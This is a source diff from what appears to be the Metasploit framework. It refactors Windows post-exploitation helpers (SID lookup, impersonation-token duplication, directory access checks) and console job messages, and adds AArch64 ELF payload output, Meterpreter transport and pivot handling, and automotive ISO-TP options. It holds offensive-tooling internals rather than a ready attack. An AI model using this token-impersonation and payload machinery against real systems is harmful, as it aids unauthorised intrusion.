|
||||||
# :deleted_account, :invalid, :unknown, :computer
|
|
||||||
# :mapped => There was a mapping found for the SID
|
|
||||||
# }
|
|
||||||
#
|
|
||||||
# OR nil if there was an exceptional windows error (example: ran out of memory)
|
|
||||||
#
|
|
||||||
# Caveats:
|
|
||||||
# If a valid mapping is not found, only { :mapped => false } will be returned
|
|
||||||
# nil is returned if there is an *exceptional* windows error. That error is printed.
|
|
||||||
# If an invalid system_name is provided, there will be a windows error and nil returned
|
|
||||||
##
|
|
||||||
def resolve_sid(sid, system_name = nil)
|
|
||||||
adv = client.railgun.advapi32;
|
|
||||||
|
|
||||||
# Second param is the size of the buffer where the pointer will be written
|
case error
|
||||||
# In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed.
|
when client.railgun.const('ERROR_INVALID_SID')
|
||||||
conversion = adv.ConvertStringSidToSidA(sid, 4)
|
# An invalid SID was supplied
|
||||||
|
return { type: :invalid, mapped: false }
|
||||||
|
when client.railgun.const('ERROR_NONE_MAPPED')
|
||||||
|
# There were no accounts associated with this SID
|
||||||
|
return { mapped: false }
|
||||||
|
else
|
||||||
|
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
# If the call failed, handle errors accordingly.
|
psid = conversion['pSid']
|
||||||
unless conversion['return']
|
|
||||||
error = conversion['GetLastError']
|
|
||||||
|
|
||||||
case error
|
# Begin/Ensure so we free the pSid buffer...
|
||||||
when client.railgun.const('ERROR_INVALID_SID')
|
begin
|
||||||
# An invalid SID was supplied
|
# A reference to the SID data structure. Generally needed when working with sids
|
||||||
return { :type => :invalid, :mapped => false }
|
|
||||||
else
|
|
||||||
print_error "Unexpected windows error #{error}"
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
psid = conversion['pSid']
|
# http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx
|
||||||
|
lp_name = lp_referenced_domain_name = 100
|
||||||
|
cch_name = cch_referenced_domain_name = 100
|
||||||
|
lookup = adv.LookupAccountSidA(
|
||||||
|
system_name,
|
||||||
|
psid,
|
||||||
|
lp_name,
|
||||||
|
cch_name,
|
||||||
|
lp_referenced_domain_name,
|
||||||
|
cch_referenced_domain_name,
|
||||||
|
1
|
||||||
|
)
|
||||||
|
|
||||||
# Begin/Ensure so we free the pSid buffer...
|
if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER
|
||||||
begin
|
lp_name = cch_name = lookup['cchName']
|
||||||
# A reference to the SID data structure. Generally needed when working with sids
|
lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName']
|
||||||
|
|
||||||
# http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx
|
lookup = adv.LookupAccountSidA(
|
||||||
lp_name = lp_referenced_domain_name = 100
|
system_name,
|
||||||
cch_name = cch_referenced_domain_name = 100
|
psid,
|
||||||
lookup = adv.LookupAccountSidA(system_name,
|
lp_name,
|
||||||
psid,
|
cch_name,
|
||||||
lp_name,
|
lp_referenced_domain_name,
|
||||||
cch_name,
|
cch_referenced_domain_name,
|
||||||
lp_referenced_domain_name,
|
1
|
||||||
cch_referenced_domain_name,
|
)
|
||||||
1)
|
|
||||||
|
|
||||||
if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER
|
elsif !lookup['return']
|
||||||
lp_name = cch_name = lookup['cchName']
|
print_error "Unexpected Windows error #{lookup['GetLastError']}"
|
||||||
lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName']
|
return nil
|
||||||
|
end
|
||||||
|
ensure
|
||||||
|
# We no longer need the sid so free it.
|
||||||
|
adv.FreeSid(psid)
|
||||||
|
end
|
||||||
|
|
||||||
lookup = adv.LookupAccountSidA(system_name,
|
# If the call failed, handle errors accordingly.
|
||||||
psid,
|
unless lookup['return']
|
||||||
lp_name,
|
error = lookup['GetLastError']
|
||||||
cch_name,
|
|
||||||
lp_referenced_domain_name,
|
|
||||||
cch_referenced_domain_name,
|
|
||||||
1)
|
|
||||||
elsif !lookup['return']
|
|
||||||
print_error "Unexpected windows error #{lookup['GetLastError']}"
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
ensure
|
|
||||||
# We no longer need the sid so free it.
|
|
||||||
adv.FreeSid(psid)
|
|
||||||
end
|
|
||||||
|
|
||||||
# If the call failed, handle errors accordingly.
|
case error
|
||||||
unless lookup['return']
|
when client.railgun.const('ERROR_INVALID_PARAMETER')
|
||||||
error = lookup['GetLastError']
|
# Unless the railgun call is broken, this means revision is wrong
|
||||||
|
return { type: :invalid }
|
||||||
|
when client.railgun.const('ERROR_NONE_MAPPED')
|
||||||
|
# There were no accounts associated with this SID
|
||||||
|
return { mapped: false }
|
||||||
|
else
|
||||||
|
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
case error
|
# peUse is the enum "SID_NAME_USE"
|
||||||
when client.railgun.const('ERROR_INVALID_PARAMETER')
|
sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0])
|
||||||
# Unless the railgun call is broken, this means revision is wrong
|
|
||||||
return { :type => :invalid }
|
|
||||||
when client.railgun.const('ERROR_NONE_MAPPED')
|
|
||||||
# There were no accounts associated with this SID
|
|
||||||
return { :mapped => false }
|
|
||||||
else
|
|
||||||
print_error "Unexpected windows error #{error}"
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# peUse is the enum "SID_NAME_USE"
|
return {
|
||||||
sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0])
|
name: lookup['Name'],
|
||||||
|
domain: lookup['ReferencedDomainName'],
|
||||||
|
type: sid_type,
|
||||||
|
mapped: true
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
return {
|
private
|
||||||
:name => lookup['Name'],
|
|
||||||
:domain => lookup['ReferencedDomainName'],
|
|
||||||
:type => sid_type,
|
|
||||||
:mapped => true
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
private
|
##
|
||||||
|
# Converts a WinAPI's SID_NAME_USE enum to a symbol
|
||||||
|
# Symbols are (in order) :user, :group, :domain, :alias, :well_known_group,
|
||||||
|
# :deleted_account, :invalid, :unknown, :computer
|
||||||
|
##
|
||||||
|
def lookup_SID_NAME_USE(enum_value)
|
||||||
|
[
|
||||||
|
# SidTypeUser = 1
|
||||||
|
:user,
|
||||||
|
# SidTypeGroup,
|
||||||
|
:group,
|
||||||
|
# SidTypeDomain,
|
||||||
|
:domain,
|
||||||
|
# SidTypeAlias,
|
||||||
|
:alias,
|
||||||
|
# SidTypeWellKnownGroup,
|
||||||
|
:well_known_group,
|
||||||
|
# SidTypeDeletedAccount,
|
||||||
|
:deleted_account,
|
||||||
|
# SidTypeInvalid,
|
||||||
|
:invalid,
|
||||||
|
# SidTypeUnknown,
|
||||||
|
:unknown,
|
||||||
|
# SidTypeComputer,
|
||||||
|
:computer,
|
||||||
|
# SidTypeLabel
|
||||||
|
:integrity_label
|
||||||
|
][enum_value - 1]
|
||||||
|
end
|
||||||
|
|
||||||
##
|
# Gets an impersonation token from the primary token.
|
||||||
# Converts a WinAPI's SID_NAME_USE enum to a symbol
|
#
|
||||||
# Symbols are (in order) :user, :group, :domain, :alias, :well_known_group,
|
# @return [Integer] the impersonate token handle identifier if success, nil if
|
||||||
# :deleted_account, :invalid, :unknown, :computer
|
# fails
|
||||||
##
|
def get_imperstoken
|
||||||
def lookup_SID_NAME_USE(enum_value)
|
adv = session.railgun.advapi32
|
||||||
[
|
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
||||||
# SidTypeUser = 1
|
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
||||||
:user,
|
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
||||||
# SidTypeGroup,
|
|
||||||
:group,
|
|
||||||
#SidTypeDomain,
|
|
||||||
:domain,
|
|
||||||
#SidTypeAlias,
|
|
||||||
:alias,
|
|
||||||
#SidTypeWellKnownGroup,
|
|
||||||
:well_known_group,
|
|
||||||
#SidTypeDeletedAccount,
|
|
||||||
:deleted_account,
|
|
||||||
#SidTypeInvalid,
|
|
||||||
:invalid,
|
|
||||||
#SidTypeUnknown,
|
|
||||||
:unknown,
|
|
||||||
#SidTypeComputer,
|
|
||||||
:computer,
|
|
||||||
#SidTypeLabel
|
|
||||||
:integrity_label
|
|
||||||
][enum_value - 1]
|
|
||||||
end
|
|
||||||
|
|
||||||
# Gets an impersonation token from the primary token.
|
pid = session.sys.process.open.pid
|
||||||
#
|
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||||
# @return [Integer] the impersonate token handle identifier if success, nil if
|
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) # get handle to primary token
|
||||||
# fails
|
it = adv.DuplicateToken(pt["TokenHandle"], 2, 4) # get an impersonation token
|
||||||
def get_imperstoken
|
if it["return"] # if it fails return 0 for error handling
|
||||||
adv = session.railgun.advapi32
|
return it["DuplicateTokenHandle"]
|
||||||
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
else
|
||||||
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
return nil
|
||||||
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
end
|
||||||
|
end
|
||||||
|
|
||||||
pid = session.sys.process.open.pid
|
# Gets the permissions granted from the Security Descriptor of a directory
|
||||||
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
# to an access token.
|
||||||
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
#
|
||||||
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
# @param [String] dir the directory path
|
||||||
if it["return"] #if it fails return 0 for error handling
|
# @param [Integer] token the access token
|
||||||
return it["DuplicateTokenHandle"]
|
# @return [String, nil] a String describing the permissions or nil
|
||||||
else
|
def check_dir_perms(dir, token)
|
||||||
return nil
|
adv = session.railgun.advapi32
|
||||||
end
|
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||||
end
|
result = ""
|
||||||
|
|
||||||
# Gets the permissions granted from the Security Descriptor of a directory
|
# define generic mapping structure
|
||||||
# to an access token.
|
gen_map = [0, 0, 0, 0]
|
||||||
#
|
gen_map = gen_map.pack("V")
|
||||||
# @param [String] dir the directory path
|
buffer_size = 500
|
||||||
# @param [Integer] token the access token
|
|
||||||
# @return [String, nil] a String describing the permissions or nil
|
|
||||||
def check_dir_perms(dir, token)
|
|
||||||
adv = session.railgun.advapi32
|
|
||||||
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
|
||||||
result = ""
|
|
||||||
|
|
||||||
#define generic mapping structure
|
# get Security Descriptor for the directory
|
||||||
gen_map = [0,0,0,0]
|
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
|
||||||
gen_map = gen_map.pack("V")
|
if f['return'] && f["lpnLengthNeeded"] <= buffer_size
|
||||||
buffer_size = 500
|
sd = f["pSecurityDescriptor"]
|
||||||
|
elsif f['GetLastError'] == 122 # ERROR_INSUFFICIENT_BUFFER
|
||||||
|
sd = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||||
|
elsif f['GetLastError'] == 2
|
||||||
|
vprint_error("The system cannot find the file specified: #{dir}")
|
||||||
|
return nil
|
||||||
|
else
|
||||||
|
vprint_error("#{f['ErrorMessage']}: #{dir}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
#get Security Descriptor for the directory
|
# check for write access, called once to get buffer size
|
||||||
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
|
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
||||||
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
|
len = a["PrivilegeSetLength"]
|
||||||
sd = f["pSecurityDescriptor"]
|
|
||||||
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
|
|
||||||
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
|
||||||
elsif (f['GetLastError'] == 2)
|
|
||||||
vprint_error("The system cannot find the file specified: #{dir}")
|
|
||||||
return nil
|
|
||||||
else
|
|
||||||
vprint_error("#{f['ErrorMessage']}: #{dir}")
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
#check for write access, called once to get buffer size
|
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||||
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
return nil if !r["return"]
|
||||||
len = a["PrivilegeSetLength"]
|
result << "R" if r["GrantedAccess"] > 0
|
||||||
|
|
||||||
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||||
if !r["return"] then return nil end
|
return nil if !w["return"]
|
||||||
if r["GrantedAccess"] > 0 then result << "R" end
|
result << "W" if w["GrantedAccess"] > 0
|
||||||
|
|
||||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
result
|
||||||
if !w["return"] then return nil end
|
end
|
||||||
if w["GrantedAccess"] > 0 then result << "W" end
|
end # Accounts
|
||||||
|
end # Windows
|
||||||
result
|
end # Post
|
||||||
end
|
|
||||||
|
|
||||||
end # Accounts
|
|
||||||
end # Windows
|
|
||||||
end # Post
|
|
||||||
end # Msf
|
end # Msf
|
||||||
|
|
|
@ -96,7 +96,7 @@ class Auxiliary
|
||||||
}
|
}
|
||||||
|
|
||||||
# Always run passive modules in the background
|
# Always run passive modules in the background
|
||||||
if (mod.passive or mod.passive_action?(action))
|
if (mod.passive || mod.passive_action?(action || mod.default_action))
|
||||||
jobify = true
|
jobify = true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -131,8 +131,8 @@ class Auxiliary
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
if (jobify)
|
if (jobify && mod.job_id)
|
||||||
print_status("Auxiliary module running as background job")
|
print_status("Auxiliary module running as background job #{mod.job_id}.")
|
||||||
else
|
else
|
||||||
print_status("Auxiliary module execution completed")
|
print_status("Auxiliary module execution completed")
|
||||||
end
|
end
|
||||||
|
|
|
@ -1528,6 +1528,10 @@ class Db
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def find_nmap_path
|
||||||
|
Rex::FileUtils.find_full_path("nmap") || Rex::FileUtils.find_full_path("nmap.exe")
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Import Nmap data from a file
|
# Import Nmap data from a file
|
||||||
#
|
#
|
||||||
|
@ -1553,11 +1557,8 @@ class Db
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
nmap =
|
nmap = find_nmap_path
|
||||||
Rex::FileUtils.find_full_path("nmap") ||
|
unless nmap
|
||||||
Rex::FileUtils.find_full_path("nmap.exe")
|
|
||||||
|
|
||||||
if (not nmap)
|
|
||||||
print_error("The nmap executable could not be found")
|
print_error("The nmap executable could not be found")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
@ -1607,9 +1608,11 @@ class Db
|
||||||
end
|
end
|
||||||
|
|
||||||
def cmd_db_nmap_help
|
def cmd_db_nmap_help
|
||||||
nmap =
|
nmap = find_nmap_path
|
||||||
Rex::FileUtils.find_full_path('nmap') ||
|
unless nmap
|
||||||
Rex::FileUtils.find_full_path('nmap.exe')
|
print_error("The nmap executable could not be found")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
|
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
|
||||||
|
|
||||||
|
@ -1625,9 +1628,10 @@ class Db
|
||||||
end
|
end
|
||||||
|
|
||||||
def cmd_db_nmap_tabs(str, words)
|
def cmd_db_nmap_tabs(str, words)
|
||||||
nmap =
|
nmap = find_nmap_path
|
||||||
Rex::FileUtils.find_full_path('nmap') ||
|
unless nmap
|
||||||
Rex::FileUtils.find_full_path('nmap.exe')
|
return
|
||||||
|
end
|
||||||
|
|
||||||
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
|
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
|
||||||
tabs = []
|
tabs = []
|
||||||
|
|
|
@ -145,10 +145,8 @@ class Exploit
|
||||||
end
|
end
|
||||||
# If we ran the exploit as a job, indicate such so the user doesn't
|
# If we ran the exploit as a job, indicate such so the user doesn't
|
||||||
# wonder what's up.
|
# wonder what's up.
|
||||||
elsif (jobify)
|
elsif (jobify && mod.job_id)
|
||||||
if mod.job_id
|
print_status("Exploit running as background job #{mod.job_id}.")
|
||||||
print_status("Exploit running as background job.")
|
|
||||||
end
|
|
||||||
# Worst case, the exploit ran but we got no session, bummer.
|
# Worst case, the exploit ran but we got no session, bummer.
|
||||||
else
|
else
|
||||||
# If we didn't run a payload handler for this exploit it doesn't
|
# If we didn't run a payload handler for this exploit it doesn't
|
||||||
|
|
|
@ -339,7 +339,7 @@ module Msf
|
||||||
framework.jobs[job_id.to_s].send(:name=, job_name)
|
framework.jobs[job_id.to_s].send(:name=, job_name)
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status "Payload Handler Started as Job #{job_id}"
|
print_status "Payload handler running as background job #{job_id}."
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -66,23 +66,26 @@ module Msf
|
||||||
end
|
end
|
||||||
|
|
||||||
def cmd_edit_help
|
def cmd_edit_help
|
||||||
msg = "Edit the currently active module"
|
print_line "Usage: edit [file/to/edit.rb]"
|
||||||
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "(LocalEditor or $VISUAL/$EDITOR should be set first)"}."
|
|
||||||
print_line "Usage: edit"
|
|
||||||
print_line
|
print_line
|
||||||
print_line msg
|
print_line "Edit a local file or the currently active module with #{local_editor}"
|
||||||
print_line "When done editing, you must reload the module with 'reload' or 'rerun'."
|
print_line "If a file path is specified it will automatically be reloaded after editing"
|
||||||
|
print_line "Otherwise, you can reload the active module with 'reload' or 'rerun'."
|
||||||
print_line
|
print_line
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Edit the currently active module
|
# Edit the currently active module
|
||||||
#
|
#
|
||||||
def cmd_edit
|
def cmd_edit(*args)
|
||||||
if active_module
|
if args.length > 0
|
||||||
editor = local_editor
|
path = args[0]
|
||||||
path = active_module.file_path
|
elsif active_module
|
||||||
|
path = active_module.file_path
|
||||||
|
end
|
||||||
|
|
||||||
|
if path
|
||||||
|
editor = local_editor
|
||||||
if editor.nil?
|
if editor.nil?
|
||||||
editor = 'vim'
|
editor = 'vim'
|
||||||
print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.")
|
print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.")
|
||||||
|
@ -90,6 +93,10 @@ module Msf
|
||||||
|
|
||||||
print_status("Launching #{editor} #{path}")
|
print_status("Launching #{editor} #{path}")
|
||||||
system(editor, path)
|
system(editor, path)
|
||||||
|
|
||||||
|
if args.length > 0
|
||||||
|
load args[0]
|
||||||
|
end
|
||||||
else
|
else
|
||||||
print_error('Nothing to edit -- try using a module first.')
|
print_error('Nothing to edit -- try using a module first.')
|
||||||
end
|
end
|
||||||
|
|
|
@ -131,8 +131,8 @@ class Post
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
if (jobify)
|
if (jobify && mod.job_id)
|
||||||
print_status("Post module running as background job")
|
print_status("Post module running as background job #{mod.job_id}.")
|
||||||
else
|
else
|
||||||
print_status("Post module execution completed")
|
print_status("Post module execution completed")
|
||||||
end
|
end
|
||||||
|
|
|
@ -165,6 +165,14 @@ require 'msf/core/exe/segment_appender'
|
||||||
# XXX: Add remaining ARMLE systems here
|
# XXX: Add remaining ARMLE systems here
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if arch.index(ARCH_AARCH64)
|
||||||
|
if plat.index(Msf::Module::Platform::Linux)
|
||||||
|
return to_linux_aarch64_elf(framework, code)
|
||||||
|
end
|
||||||
|
|
||||||
|
# XXX: Add remaining AARCH64 systems here
|
||||||
|
end
|
||||||
|
|
||||||
if arch.index(ARCH_PPC)
|
if arch.index(ARCH_PPC)
|
||||||
if plat.index(Msf::Module::Platform::OSX)
|
if plat.index(Msf::Module::Platform::OSX)
|
||||||
return to_osx_ppc_macho(framework, code)
|
return to_osx_ppc_macho(framework, code)
|
||||||
|
|
|
@ -125,8 +125,6 @@ module Parser
|
||||||
if @args[:blacklist]
|
if @args[:blacklist]
|
||||||
return false if @args[:blacklist].include?(@report_data[:host])
|
return false if @args[:blacklist].include?(@report_data[:host])
|
||||||
end
|
end
|
||||||
return false unless @report_data[:ports]
|
|
||||||
return false if @report_data[:ports].empty?
|
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -53,7 +53,7 @@ private
|
||||||
|
|
||||||
# if no session guid is given then we'll just pass the blank
|
# if no session guid is given then we'll just pass the blank
|
||||||
# guid through. this is important for stageless payloads
|
# guid through. this is important for stageless payloads
|
||||||
if opts[:stageless] == true
|
if opts[:stageless] == true || opts[:null_session_guid] == true
|
||||||
session_guid = "\x00" * 16
|
session_guid = "\x00" * 16
|
||||||
else
|
else
|
||||||
session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
|
session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
|
||||||
|
@ -67,7 +67,7 @@ private
|
||||||
session_guid # the Session GUID
|
session_guid # the Session GUID
|
||||||
]
|
]
|
||||||
|
|
||||||
session_data.pack('VVVA*A*')
|
session_data.pack('QVVA*A*')
|
||||||
end
|
end
|
||||||
|
|
||||||
def transport_block(opts)
|
def transport_block(opts)
|
||||||
|
@ -78,7 +78,8 @@ private
|
||||||
lhost = "[#{lhost}]"
|
lhost = "[#{lhost}]"
|
||||||
end
|
end
|
||||||
|
|
||||||
url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}"
|
url = "#{opts[:scheme]}://#{lhost}"
|
||||||
|
url << ":#{opts[:lport]}" if opts[:lport]
|
||||||
url << "#{opts[:uri]}/" if opts[:uri]
|
url << "#{opts[:uri]}/" if opts[:uri]
|
||||||
url << "?#{opts[:scope_id]}" if opts[:scope_id]
|
url << "?#{opts[:scope_id]}" if opts[:scope_id]
|
||||||
|
|
||||||
|
|
|
@ -119,11 +119,16 @@ class Automotive < Extension
|
||||||
# TODO: Implement sending ISO-TP > 8 bytes
|
# TODO: Implement sending ISO-TP > 8 bytes
|
||||||
data = [ data ] if data.is_a? Integer
|
data = [ data ] if data.is_a? Integer
|
||||||
if data.size < 8
|
if data.size < 8
|
||||||
data = padd_packet(data, opt['PADDING']) if opt.key? 'PADDING'
|
# Padding is handled differently after 0.0.3
|
||||||
|
if Gem::Version.new(client.api_version) < Gem::Version.new('0.0.4')
|
||||||
|
data = padd_packet(data, opt['PADDING']) if opt.key? 'PADDING'
|
||||||
|
end
|
||||||
data = array2hex(data).join
|
data = array2hex(data).join
|
||||||
request_str = "/automotive/#{bus}/isotpsend_and_wait?srcid=#{src_id}&dstid=#{dst_id}&data=#{data}"
|
request_str = "/automotive/#{bus}/isotpsend_and_wait?srcid=#{src_id}&dstid=#{dst_id}&data=#{data}"
|
||||||
request_str += "&timeout=#{opt['TIMEOUT']}" if opt.key? "TIMEOUT"
|
request_str += "&timeout=#{opt['TIMEOUT']}" if opt.key? "TIMEOUT"
|
||||||
request_str += "&maxpkts=#{opt['MAXPKTS']}" if opt.key? "MAXPKTS"
|
request_str += "&maxpkts=#{opt['MAXPKTS']}" if opt.key? "MAXPKTS"
|
||||||
|
request_str += "&padding=#{opt['PADDING']}" if opt.key? "PADDING" # Won't hurt to use in older versions
|
||||||
|
request_str += "&fc=#{opt['FC']}" if opt.key? "FC" # Force flow control
|
||||||
return check_for_errors(client.send_request(request_str))
|
return check_for_errors(client.send_request(request_str))
|
||||||
end
|
end
|
||||||
nil
|
nil
|
||||||
|
|
|
@ -174,6 +174,8 @@ class Console::CommandDispatcher::Automotive
|
||||||
data = ''
|
data = ''
|
||||||
timeout = nil
|
timeout = nil
|
||||||
maxpackets = nil
|
maxpackets = nil
|
||||||
|
flowcontrol = false
|
||||||
|
padding = nil
|
||||||
cansend_opts = Rex::Parser::Arguments.new(
|
cansend_opts = Rex::Parser::Arguments.new(
|
||||||
'-h' => [ false, 'Help Banner' ],
|
'-h' => [ false, 'Help Banner' ],
|
||||||
'-b' => [ true, 'Target bus'],
|
'-b' => [ true, 'Target bus'],
|
||||||
|
@ -181,6 +183,8 @@ class Console::CommandDispatcher::Automotive
|
||||||
'-R' => [ true, 'Return ID'],
|
'-R' => [ true, 'Return ID'],
|
||||||
'-D' => [ true, 'Data packet in Hex (Do not include ISOTP command size)'],
|
'-D' => [ true, 'Data packet in Hex (Do not include ISOTP command size)'],
|
||||||
'-t' => [ true, 'Timeout value'],
|
'-t' => [ true, 'Timeout value'],
|
||||||
|
'-p' => [ true, 'Padding value, none if not specified'],
|
||||||
|
'-C' => [ false, 'Force flow control'],
|
||||||
'-m' => [ true, 'Max packets to receive']
|
'-m' => [ true, 'Max packets to receive']
|
||||||
)
|
)
|
||||||
cansend_opts.parse(args) do |opt, _idx, val|
|
cansend_opts.parse(args) do |opt, _idx, val|
|
||||||
|
@ -199,6 +203,10 @@ class Console::CommandDispatcher::Automotive
|
||||||
data = val
|
data = val
|
||||||
when '-t'
|
when '-t'
|
||||||
timeout = val.to_i
|
timeout = val.to_i
|
||||||
|
when '-p'
|
||||||
|
padding = val
|
||||||
|
when '-C'
|
||||||
|
flowcontrol = true
|
||||||
when '-m'
|
when '-m'
|
||||||
maxpackets = val.to_i
|
maxpackets = val.to_i
|
||||||
end
|
end
|
||||||
|
@ -224,6 +232,8 @@ class Console::CommandDispatcher::Automotive
|
||||||
opt = {}
|
opt = {}
|
||||||
opt['TIMEOUT'] = timeout unless timeout.nil?
|
opt['TIMEOUT'] = timeout unless timeout.nil?
|
||||||
opt['MAXPKTS'] = maxpackets unless maxpackets.nil?
|
opt['MAXPKTS'] = maxpackets unless maxpackets.nil?
|
||||||
|
opt['PADDING'] = padding unless padding.nil?
|
||||||
|
opt['FC'] = true unless flowcontrol == false
|
||||||
result = client.automotive.send_isotp_and_wait_for_response(bus, id, ret, bytes, opt)
|
result = client.automotive.send_isotp_and_wait_for_response(bus, id, ret, bytes, opt)
|
||||||
if result.key? 'Packets'
|
if result.key? 'Packets'
|
||||||
result['Packets'].each do |pkt|
|
result['Packets'].each do |pkt|
|
||||||
|
|
|
@ -12,6 +12,8 @@ require 'rex/post/meterpreter/object_aliases'
|
||||||
require 'rex/post/meterpreter/packet'
|
require 'rex/post/meterpreter/packet'
|
||||||
require 'rex/post/meterpreter/packet_parser'
|
require 'rex/post/meterpreter/packet_parser'
|
||||||
require 'rex/post/meterpreter/packet_dispatcher'
|
require 'rex/post/meterpreter/packet_dispatcher'
|
||||||
|
require 'rex/post/meterpreter/pivot'
|
||||||
|
require 'rex/post/meterpreter/pivot_container'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Post
|
module Post
|
||||||
|
@ -35,6 +37,7 @@ class Client
|
||||||
|
|
||||||
include Rex::Post::Meterpreter::PacketDispatcher
|
include Rex::Post::Meterpreter::PacketDispatcher
|
||||||
include Rex::Post::Meterpreter::ChannelContainer
|
include Rex::Post::Meterpreter::ChannelContainer
|
||||||
|
include Rex::Post::Meterpreter::PivotContainer
|
||||||
|
|
||||||
#
|
#
|
||||||
# Extension name to class hash.
|
# Extension name to class hash.
|
||||||
|
@ -85,7 +88,17 @@ class Client
|
||||||
# Cleans up the meterpreter instance, terminating the dispatcher thread.
|
# Cleans up the meterpreter instance, terminating the dispatcher thread.
|
||||||
#
|
#
|
||||||
def cleanup_meterpreter
|
def cleanup_meterpreter
|
||||||
if not self.skip_cleanup
|
if self.pivot_session
|
||||||
|
self.pivot_session.remove_pivot_session(self.session_guid)
|
||||||
|
end
|
||||||
|
|
||||||
|
self.pivot_sessions.keys.each do |k|
|
||||||
|
pivot = self.pivot_sessions[k]
|
||||||
|
pivot.pivoted_session.kill('Pivot closed')
|
||||||
|
pivot.pivoted_session.shutdown_passive_dispatcher
|
||||||
|
end
|
||||||
|
|
||||||
|
unless self.skip_cleanup
|
||||||
ext.aliases.each_value do | extension |
|
ext.aliases.each_value do | extension |
|
||||||
extension.cleanup if extension.respond_to?( 'cleanup' )
|
extension.cleanup if extension.respond_to?( 'cleanup' )
|
||||||
end
|
end
|
||||||
|
@ -93,7 +106,7 @@ class Client
|
||||||
|
|
||||||
dispatcher_thread.kill if dispatcher_thread
|
dispatcher_thread.kill if dispatcher_thread
|
||||||
|
|
||||||
if not self.skip_cleanup
|
unless self.skip_cleanup
|
||||||
core.shutdown rescue nil
|
